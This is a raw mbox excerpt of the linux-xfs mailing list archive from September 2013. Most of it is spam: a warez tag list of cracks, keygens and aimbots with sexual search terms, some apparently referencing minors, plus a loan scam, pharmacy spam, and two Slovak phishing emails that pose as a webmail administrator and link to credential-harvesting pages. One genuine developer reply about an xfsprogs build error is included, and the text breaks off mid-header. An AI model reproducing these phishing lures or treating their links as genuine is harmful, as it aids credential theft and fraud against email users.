tests=FREEMAIL_FROM,HTML_MESSAGE, T_REMOTE_IMAGE,URI_HEX autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D5FCB29DFB for ; Fri, 13 Sep 2013 09:19:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3CFD0AC00D for ; Fri, 13 Sep 2013 07:19:47 -0700 (PDT) X-ASG-Debug-ID: 1379081983-04cbb02c3afc28d0001-w1Z2WR Received: from sam.nabble.com (sam.nabble.com [216.139.236.26]) by cuda.sgi.com with ESMTP id cPowuiMgmUmyLPKs (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Sep 2013 07:19:44 -0700 (PDT) X-Barracuda-Envelope-From: b.o.b.m.arle.yf.o.r.e.vero.nl.y@gmail.com X-Barracuda-Apparent-Source-IP: 216.139.236.26 Received: from tom.nabble.com ([192.168.236.105]) by sam.nabble.com with esmtp (Exim 4.72) (envelope-from ) id 1VKUDn-0001Nq-Kr for linux-xfs@oss.sgi.com; Fri, 13 Sep 2013 07:19:43 -0700 Date: Fri, 13 Sep 2013 07:19:43 -0700 (PDT) From: yalleana To: linux-xfs@oss.sgi.com Message-ID: <1379081983596-35004.post@n7.nabble.com> Subject: The Ronettes - The Ultimate Collection (1997).zip MIME-Version: 1.0 X-ASG-Orig-Subj: The Ronettes - The Ultimate Collection (1997).zip Content-Type: multipart/alternative; boundary="----=_Part_48163_30553413.1379081983620" X-Barracuda-Connect: sam.nabble.com[216.139.236.26] X-Barracuda-Start-Time: 1379081983 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: siteslocate.com X-Barracuda-Spam-Score: 1.82 X-Barracuda-Spam-Status: No, SCORE=1.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0224, BSF_SC0_SA082v2, HTML_MESSAGE, URI_HEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140574 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.00 BSF_SC0_SA082v2 BODY: Custom Rule SA082v2 0.32 URI_HEX URI: URI hostname has long hexadecimal sequence 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_MV0224 FULL: Custom rule MV0224 ------=_Part_48163_30553413.1379081983620 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The Ronettes - The Ultimate Collection (1997).zip (mirror 1) Related Tags: The Ronettes - The Ultimate Collection (1997).zip 800752f415 20railway and airport engineering by rangwala.zip Laad Ladaavo Lala Ne Shrinathji Ni Jhankhi-adds bs350u2install exe.zip cabal engine v 1.0.0.2-adds Worms World Party cracked 3rd edition solution manual mitra.rar Windows 8 Activator K.J v120829.rar [FULL] emta cv6181e manual .pdf cartella colori folder color.pdf download youtube videos keepvid cyberlink media suite 10 ultra crack cyberlink powerdirector 11.full.rar Diablo 2 LOD 1.14PATCH.rar [Extra quality] Kolektorek 2 0 Full Version David_Busch's_Compact_Field_Guide_for_the_Canon_EOS_7D-adds [HIGHSPEED] Gran turismo 3 pc.rar youtube downloader 3.4 pro keygen puzzle pirates blacksmithing bot free download [Extra_quality]_Vocal_Imitation_V5-adds telecharger_album_rihanna_2013_torrent-adds marie carle solution manual for big java 4th edition.rar twaincontrolx ocx crack FULL Version download twixtor pro for adobe premiere cs5.5 torrent youtube downloader for nokia x2-02 free download baixar filme assunto de meninas 3gp dublado sony ericsson w960i pc suite.rar *battlefield 3 aimbot download pc no survey* descargar aplicacion wifi para samsung gt s5233t.rar-adds Fazil SAY - Black Earth @ 320 Reupload.rar /free download nfs shift samsung galaxy s2.rar/ Cyberlink PowerDirector Ultra v8.00.1930 Portable Adobe Flash Professional CS5.5.v11.5.full.rar-adds New! Free download Two Trannies - Alessandra Leite And Dany De Castro super best of yumi arai rar boyz ii men ballads collection download ultimate cheat ninja saga *Lectures.on.Ethics.The.Cambridge.Edition.of.the.Works.of.Immanuel.Kant.in.Translation..pdf.rar* abg cewek gadis onani masturbasi read wsj extension chrome download solucionario dinamica meriam 3th edicion cewek sma jilbab pamer memek Moviestarplanet hacker by thehink28.rar Kittel, Charles Introduction To Solid State Physics 8Th Edition Solution Manual.zip Cherry Crush Pink Kitty | added by request sanford guide Full Download sound forge 6 0 key serial number cracker download cheat point blank e991 _Heavily_in_the_morning_Milk_Pot-adds elsa 4.0 audi 03.2012 torrent download the allyn and bacon guide to writing concise 5th edition.rar-adds /Nuendo 5 5 Crack Windows/ ngintip cewek smp china ml HOT! Practical Jokes: Heartless Hoaxes and Cunning Tricks to Humiliate Friend and Foe Application vidal 2013 .apk 1 cracked omnisphere dll *El parche protein.dll de magix web Designer 7 espa ol-adds* [FULL] ETABS v9.7 1 with Crack download call of duty black ops aimbot kodak preps 6 2 crack win /Crack_Easy_CD_DA_Extractor_16_0_3-adds/ S3cc921 Resetter.RAR Manning.Spring.in.Action.3rd.Edition.Jun.2011.rar /tema cross v5-adds/ shake body ver 9.rar Eben Pagan and Wyatt Woodsmall Patterns of Personality 2012-adds vw-rns-315-user-manual-downloads-torrent.zip getdataback for fat 4.32 crack free download AQWorlds Gold and AC Hack v2.0.1 Free Download 2012 New Update.rar harley softail 2006 flstc service manual.rar quickbooks 2013 keygen mac torrent-adds Tone2 Complete Bundle v2012 DOAISO.zip video tragedi sampit | added by request goong aka princess hours] episode 20 with english subtitle free download | checked remove_wat_on_windows_8_pro-adds Thuppaki video songs for free download 3gp mobile format. -- View this message in context: http://xfs.9218.n7.nabble.com/The-Ronettes-The-Ultimate-Collection-1997-zip-tp35004.html Sent from the linux-xfs mailing list archive at Nabble.com. ------=_Part_48163_30553413.1379081983620 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit









The Ronettes - The Ultimate Collection (1997).zip (mirror 1)
















Related Tags:

The Ronettes - The Ultimate Collection (1997).zip

800752f415 20 railway and airport engineering by rangwala.zip
Laad Ladaavo Lala Ne Shrinathji Ni Jhankhi-adds
bs350u2install exe.zip

cabal engine v 1.0.0.2-adds
Worms World Party cracked
3rd edition solution manual mitra.rar

Windows 8 Activator K.J v120829.rar
[FULL] emta cv6181e manual .pdf
cartella colori folder color.pdf
download youtube videos keepvid
cyberlink media suite 10 ultra crack
cyberlink powerdirector 11.full.rar
Diablo 2 LOD 1.14PATCH.rar

[Extra quality] Kolektorek 2 0 Full Version

David_Busch's_Compact_Field_Guide_for_the_Canon_EOS_7D-adds

[HIGHSPEED] Gran turismo 3 pc.rar
youtube downloader 3.4 pro keygen

puzzle pirates blacksmithing bot free download
[Extra_quality]_Vocal_Imitation_V5-adds
telecharger_album_rihanna_2013_torrent-adds
marie carle

solution manual for big java 4th edition.rar
twaincontrolx ocx crack FULL Version download
twixtor pro for adobe premiere cs5.5 torrent
youtube downloader for nokia x2-02 free download
baixar filme assunto de meninas 3gp dublado
sony ericsson w960i pc suite.rar
battlefield 3 aimbot download pc no survey
descargar aplicacion wifi para samsung gt s5233t.rar-adds
Fazil SAY - Black Earth @ 320 Reupload.rar
free download nfs shift samsung galaxy s2.rar
Cyberlink PowerDirector Ultra v8.00.1930 Portable

Adobe Flash Professional CS5.5.v11.5.full.rar-adds
New! Free download Two Trannies - Alessandra Leite And Dany De Castro

super best of yumi arai rar

boyz ii men ballads collection
download ultimate cheat ninja saga
Lectures.on.Ethics.The.Cambridge.Edition.of.the.Works.of.Immanuel.Kant.in.Translation..pdf.rar
abg cewek gadis onani masturbasi
read wsj extension chrome download
solucionario dinamica meriam 3th edicion
cewek sma jilbab pamer memek

Moviestarplanet hacker by thehink28.rar

Kittel, Charles Introduction To Solid State Physics 8Th Edition Solution Manual.zip
Cherry Crush Pink Kitty | added by request

sanford guide Full Download

sound forge 6 0 key serial number cracker

download cheat point blank e991
_Heavily_in_the_morning_Milk_Pot-adds
elsa 4.0 audi 03.2012 torrent download
the allyn and bacon guide to writing concise 5th edition.rar-adds
Nuendo 5 5 Crack Windows
ngintip cewek smp china ml

HOT! Practical Jokes: Heartless Hoaxes and Cunning Tricks to Humiliate Friend and Foe

Application vidal 2013 .apk 1
cracked omnisphere dll
El parche protein.dll de magix web Designer 7 espa ol-adds
[FULL] ETABS v9.7 1 with Crack
download call of duty black ops aimbot
kodak preps 6 2 crack win
Crack_Easy_CD_DA_Extractor_16_0_3-adds
S3cc921 Resetter.RAR
Manning.Spring.in.Action.3rd.Edition.Jun.2011.rar
tema cross v5-adds
shake body ver 9.rar

Eben Pagan and Wyatt Woodsmall Patterns of Personality 2012-adds
vw-rns-315-user-manual-downloads-torrent.zip
getdataback for fat 4.32 crack free download
AQWorlds Gold and AC Hack v2.0.1 Free Download 2012 New Update.rar
harley softail 2006 flstc service manual.rar

quickbooks 2013 keygen mac torrent-adds

Tone2 Complete Bundle v2012 DOAISO.zip
video tragedi sampit | added by request
goong aka princess hours] episode 20 with english subtitle free download | checked
remove_wat_on_windows_8_pro-adds
Thuppaki video songs for free download 3gp mobile format.



View this message in context: The Ronettes - The Ultimate Collection (1997).zip
Sent from the linux-xfs mailing list archive at Nabble.com.
------=_Part_48163_30553413.1379081983620-- From Markus.Antonietti@mpikg.mpg.de Fri Sep 13 13:10:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CCD2829DFB for ; Fri, 13 Sep 2013 13:10:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 477F9AC002 for ; Fri, 13 Sep 2013 11:10:33 -0700 (PDT) X-ASG-Debug-ID: 1379095828-04cbb02c3cfd5e40001-w1Z2WR Received: from mail02.mpikg.mpg.de (mail02.MPIKG.MPG.DE [141.14.232.56]) by cuda.sgi.com with ESMTP id lEKZw9a9XjSwY5au (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Sep 2013 11:10:29 -0700 (PDT) X-Barracuda-Envelope-From: Markus.Antonietti@mpikg.mpg.de X-Barracuda-Apparent-Source-IP: 141.14.232.56 Received: from mail02.mpikg.mpg.de (localhost [127.0.0.1]) by localhost (Postfix) with SMTP id BEC3D1D5; Fri, 13 Sep 2013 20:04:04 +0200 (CEST) Received: from EXMAIL10.mpikg.local (ecls01.MPIKG.MPG.DE [141.14.235.52]) by mail02.mpikg.mpg.de (Postfix) with ESMTP id 138B01C7; Fri, 13 Sep 2013 20:04:04 +0200 (CEST) X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01CEB0AB.A18931E3" Subject: Do You Need Loan!! Date: Fri, 13 Sep 2013 20:04:03 +0200 X-ASG-Orig-Subj: Do You Need Loan!! Message-ID: <7FDC548C419B6740B8CB420D65586DBB4E0212@EXMAIL10.mpikg.local> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Do You Need Loan!! Thread-Index: Ac6wq6Dw2SSEj7uvS6qPce2FRhPEow== From: "Markus Antonietti" To: undisclosed-recipients:; X-Barracuda-Connect: mail02.MPIKG.MPG.DE[141.14.232.56] X-Barracuda-Start-Time: 1379095829 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.34 X-Barracuda-Spam-Status: No, SCORE=1.34 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140577 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars 0.50 BSF_SC0_SA620a Custom Rule SA620a This is a multi-part message in MIME format. ------_=_NextPart_001_01CEB0AB.A18931E3 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Are you in need of a loan of any kind? Please contact Email: = evergreendesk@rogers.com For further details. ------_=_NextPart_001_01CEB0AB.A18931E3 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =0A= =0A= =0A= =0A=
Are you in need of a = loan of any kind? Please contact Email: evergreendesk@rogers.com = For further details.
------_=_NextPart_001_01CEB0AB.A18931E3-- From billray@apian.com Fri Sep 13 20:18:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.7 required=5.0 tests=DEAR_FRIEND autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5453029DFB for ; Fri, 13 Sep 2013 20:18:12 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 346688F8039 for ; Fri, 13 Sep 2013 18:18:09 -0700 (PDT) X-ASG-Debug-ID: 1379121483-04cb6c2e9dff3970001-NocioJ Received: from ic27.ic.cz (ic27.ic.cz [88.86.100.180]) by cuda.sgi.com with SMTP id olfglWTefK7MUHCV for ; Fri, 13 Sep 2013 18:18:04 -0700 (PDT) X-Barracuda-Envelope-From: billray@apian.com X-Barracuda-Apparent-Source-IP: 88.86.100.180 Date: Sat, 14 Sep 2013 03:18:08 +0000 From: Riley To: Subject: Best Meds for Your Health X-Priority: 1 X-ASG-Orig-Subj: Best Meds for Your Health Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ic27.ic.cz[88.86.100.180] X-Barracuda-Start-Time: 1379121483 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.60 X-Barracuda-Spam-Status: No, SCORE=1.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA717, DEAR_FRIEND, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140588 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 1.00 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.00 BSF_SC0_SA717 Custom Rule BSF_SC0_SA717 Dear Friend Visit our HealthStore http://djtazie.com/dissect.html HaveAGood Day Riley From stefan.gritsch@hslu.ch Sat Sep 14 05:35:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 21A307F37 for ; Sat, 14 Sep 2013 05:35:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0D524304032 for ; Sat, 14 Sep 2013 03:35:48 -0700 (PDT) X-ASG-Debug-ID: 1379154945-04cb6c2e9d1009d50001-w1Z2WR Received: from mta02.hslu.ch (mta02.hslu.ch [147.88.201.241]) by cuda.sgi.com with ESMTP id DdOM0ZBp5fATydzz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 14 Sep 2013 03:35:46 -0700 (PDT) X-Barracuda-Envelope-From: stefan.gritsch@hslu.ch X-Barracuda-Apparent-Source-IP: 147.88.201.241 From: Gritsch Stefan HSLU D&K Subject: =?Windows-1252?B?VuGeZW7tIEUtbWFpbCB1nu12YXRlbGE7?= Thread-Topic: =?Windows-1252?B?VuGeZW7tIEUtbWFpbCB1nu12YXRlbGE7?= X-ASG-Orig-Subj: =?Windows-1252?B?VuGeZW7tIEUtbWFpbCB1nu12YXRlbGE7?= Thread-Index: Ac6xNioE2kbVXfdTTLSrmjKSSUx3wA== Date: Sat, 14 Sep 2013 10:35:43 +0000 Message-ID: Accept-Language: de-DE, de-CH, en-US Content-Language: de-DE X-MS-Has-Attach: X-MS-TNEF-Correlator: Content-Type: multipart/alternative; boundary="_000_CCA07ECA15372049A1E9FB0147064CD31648ABMX31campusintern_" MIME-Version: 1.0 To: undisclosed-recipients:; Received-SPF: none X-Barracuda-Connect: mta02.hslu.ch[147.88.201.241] X-Barracuda-Start-Time: 1379154946 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140597 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 HTML_MESSAGE BODY: HTML included in message --_000_CCA07ECA15372049A1E9FB0147064CD31648ABMX31campusintern_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable V=E1=9Een=ED E-mail u=9E=EDvatela; Prekrocili ste 23432 boxy nastavit svoje Webov=E1 slu=9Eba / Administr=E1tor, a budete mat probl=E9my pri odosielan= =ED a prij=EDmat e-maily, k=FDm znova overit. Mus=EDte aktualizovat kliknut=EDm n= a odkaz ni=9E=9Aie a vyplnte =FAdaje pre overenie v=E1=9Aho =FActu Pros=EDm, kliknite na odkaz ni=9E=9Aie alebo skop=EDrovat vlo=9Eit do e-prehliadac pre overenie Schr=E1nky. http://webmailonlineupdate.jimdo.com/ Pozor! Ak tak neurob=EDte, bud=FA mat obmedzen=FD pr=EDstup k e-mailu schr=E1nky. = Ak sa nepodar=ED aktualizovat svoj ??=FAcet do troch dn=ED od aktualiz=E1cie ozn=E1menia, bude v=E1=9A =FAcet natrvalo uzavret=E1. S pozdravom, System Administrator =AE --_000_CCA07ECA15372049A1E9FB0147064CD31648ABMX31campusintern_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
V=E1=9Een=ED E-mail u=9E=EDvatela;

Prekrocili ste 23432 boxy nastavit svoje
Webov=E1 slu=9Eba / Administr=E1tor, a budete mat probl=E9my pri odosielan= =ED a
prij=EDmat e-maily, k=FDm znova overit. Mus=EDte aktualizovat kliknut=EDm n= a
odkaz ni=9E=9Aie a vyplnte =FAdaje pre overenie v=E1=9Aho =FActu
Pros=EDm, kliknite na odkaz ni=9E=9Aie alebo skop=EDrovat vlo=9Eit do
e-prehliadac pre overenie Schr=E1nky.

http://webmailonlineupdate.jimdo.com/

Pozor!
Ak tak neurob=EDte, bud=FA mat obmedzen=FD pr=EDstup k e-mailu schr=E1nky. = Ak
sa
nepodar=ED aktualizovat svoj ??=FAcet do troch dn=ED od aktualiz=E1cie
ozn=E1menia,
bude v=E1=9A =FAcet natrvalo uzavret=E1.
S pozdravom,
System Administrator =AE
--_000_CCA07ECA15372049A1E9FB0147064CD31648ABMX31campusintern_-- From david@fromorbit.com Sat Sep 14 22:27:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6EE4F7F37 for ; Sat, 14 Sep 2013 22:27:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id ED49CAC001 for ; Sat, 14 Sep 2013 20:27:31 -0700 (PDT) X-ASG-Debug-ID: 1379215641-04cb6c153d102eee0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id B5sG1Vn1Pyn36fLz for ; Sat, 14 Sep 2013 20:27:21 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ag0HAFgoNVJ5Lapl/2dsb2JhbABagweDS7huhTiBGBd0giUBAQU6HCMQCAMVAwklDwUlAyETiAK5eBaPXQeEHgOXeoo3hz6DNio Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 15 Sep 2013 12:57:21 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VL2zW-0001Wc-Bt; Sun, 15 Sep 2013 13:27:18 +1000 Date: Sun, 15 Sep 2013 13:27:18 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 31/55 V3] libxfs: switch over to xfs_sb.c and remove xfs_mount.c Message-ID: <20130915032718.GJ12541@dastard> X-ASG-Orig-Subj: Re: [PATCH 31/55 V3] libxfs: switch over to xfs_sb.c and remove xfs_mount.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-32-git-send-email-david@fromorbit.com> <522A1BCA.6010500@sgi.com> <20130906214021.GD12541@dastard> <522A4C79.1030200@sgi.com> <20130910010241.GZ12779@dastard> <522F289E.6070802@sgi.com> <20130910213249.GC19103@dastard> <52306F3E.8060409@sgi.com> <52307D39.6060903@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52307D39.6060903@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1379215641 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140614 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 11, 2013 at 09:24:57AM -0500, Mark Tinguely wrote: > On 09/11/13 08:25, Mark Tinguely wrote: > >On 09/10/13 16:32, Dave Chinner wrote: > > > > > libxfs: switch over to xfs_sb.c and remove xfs_mount.c > > > > > > From: Dave Chinner > > > > > > Now that the kernel code has split the superblock specific code out > > > of xfs_mount.c, we don't need xfs_mount.c anymore. Copy in xfs_sb.c > > > and remove xfs_mount.c > > > > > > Signed-off-by: Dave Chinner > > > --- > > > >Applies clean for me. > > > >Reviewed-by: Mark Tinguely > > patch 31 V2/V3 break the compilation of xfsprogs. > > I get: > ... > > configure: creating ./config.status > config.status: creating include/builddefs > config.status: creating include/platform_defs.h > config.status: executing libtool commands > Building include > [LN] xfs > [LN] disk > Building libxfs > [CC] gen_crc32table > [GENERATE] crc32table.h > [TEST] CRC32 > CRC_LE_BITS = 32 > crc32: tests passed, 225944 bytes in 117 usec > crc32c: tests passed, 225944 bytes in 121 usec > gmake[3]: *** No rule to make target `.ltdep', needed by `ltdepend'. Stop. > gmake[2]: *** [libxfs] Error 2 > make[1]: *** [default] Error 2 > make: *** [default] Error 2 That's a dependency build problem because the dependencies changed and weren't rebuilt. make distclean and start again, and the dependencies will get rebuilt correctly. Cheers, Dave. -- Dave Chinner david@fromorbit.com From ivonajahodova@maxareality.sk Sun Sep 15 03:15:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C93DD7F37 for ; Sun, 15 Sep 2013 03:15:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4D70FAC002 for ; Sun, 15 Sep 2013 01:15:27 -0700 (PDT) X-ASG-Debug-ID: 1379232924-04cb6c2e9d103d8c0001-w1Z2WR Received: from admin.maxareality.sk (admin.maxareality.sk [109.74.145.15]) by cuda.sgi.com with ESMTP id eSBctJQFiBniFGEK for ; Sun, 15 Sep 2013 01:15:24 -0700 (PDT) X-Barracuda-Envelope-From: ivonajahodova@maxareality.sk X-Barracuda-Apparent-Source-IP: 109.74.145.15 Received: from localhost (localhost [127.0.0.1]) by admin.maxareality.sk (Postfix) with ESMTP id E390D12C0270; Sun, 15 Sep 2013 10:15:22 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at maxareality.sk Received: from admin.maxareality.sk ([127.0.0.1]) by localhost (MAXAreality.maxareality.sk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id T42E6NQ8lIV0; Sun, 15 Sep 2013 10:15:22 +0200 (CEST) Received: from mail.maxareality.sk (localhost [127.0.0.1]) by admin.maxareality.sk (Postfix) with ESMTP id 7B3C812C020C; Sun, 15 Sep 2013 10:15:20 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Date: Sun, 15 Sep 2013 10:15:20 +0200 From: WEBMAIL UPDATE 2013 To: undisclosed-recipients:; Subject: =?UTF-8?Q?V=C3=A1=C5=BEen=C3=AD=20E-mail=20u=C5=BE=C3=ADvate=C4=BEa=3B?= Message-ID: X-ASG-Orig-Subj: =?UTF-8?Q?V=C3=A1=C5=BEen=C3=AD=20E-mail=20u=C5=BE=C3=ADvate=C4=BEa=3B?= X-Sender: ivonajahodova@maxareality.sk User-Agent: RoundCube Webmail/0.3.1 X-Barracuda-Connect: admin.maxareality.sk[109.74.145.15] X-Barracuda-Start-Time: 1379232924 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.50 X-Barracuda-Spam-Status: No, SCORE=2.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074, BSF_SC3_MV0164 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140618 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC0_SA074 URI: Custom Rule SA074 2.00 BSF_SC3_MV0164 Custom rule MV0164 -- Vážení E-mail užívateľa; Prekročili ste 23432 boxy nastaviť svoje Webová služba / Administrátor, a budete mať problémy pri odosielaní a prijímať e-maily, kým znova overiť. Musíte aktualizovať kliknutím na odkaz nižšie a vyplňte údaje pre overenie vášho účtu Prosím, kliknite na odkaz nižšie alebo skopírovať vložiť do e-prehliadač pre overenie Schránky. http://webmailupdate1022021.jimdo.com/ Pozor! Ak tak neurobíte, budú mať obmedzený prístup k e-mailu schránky. Ak sa nepodarí aktualizovať svoj účet do troch dní od aktualizácie oznámenia, bude váš účet natrvalo uzavretá. S pozdravom, System Administrator ® From info@maxareality.sk Sun Sep 15 03:25:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4C3017F37 for ; Sun, 15 Sep 2013 